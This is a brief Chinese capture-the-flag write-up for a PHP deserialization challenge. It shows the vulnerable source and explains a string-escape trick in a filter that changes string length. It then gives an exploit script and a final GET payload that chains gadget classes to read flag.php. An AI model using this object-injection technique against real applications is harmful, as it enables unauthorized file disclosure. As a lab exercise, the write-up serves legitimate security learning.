思路
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}//3->6
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}//6->3
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
echo (serialize($a));
// 省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
要做这个题先要构造pop链,通过A->C->B去执行C类里面的file_get_contents函数
A类里面可以传参数,但是传递的是字符串就不能利用A来传递一个类,这里就需要利用write()和read()函数啦,造成字符串逃逸。
如果我们GET一个a=\0\0\0是6个字符,通过read()函数会替换成3个字符,但是序列化属性的长度还是6就相当于造成了3个字符的逃逸
如图:后面就逃逸了";s
我们就可以先构造B->C然后通过字符逃逸去将B类添加到A类的password属性里面
#exp.php
#B->C
<?php
error_reporting(0);
class B{
public $b;
}
class C{
public $c;
}
$b= new B();
$c= new C();
$c->c='flag.php';
$b->b=$c;
$x=serialize($b);
echo strlen($x)."\n";#55
echo $x;
#O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
然后来构造最后的payload
<?php
$a='";s:8:"password";s:73:"1';#24/3=8
$b=strlen($a)/3;
echo str_repeat('\0\0\0',$b);
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}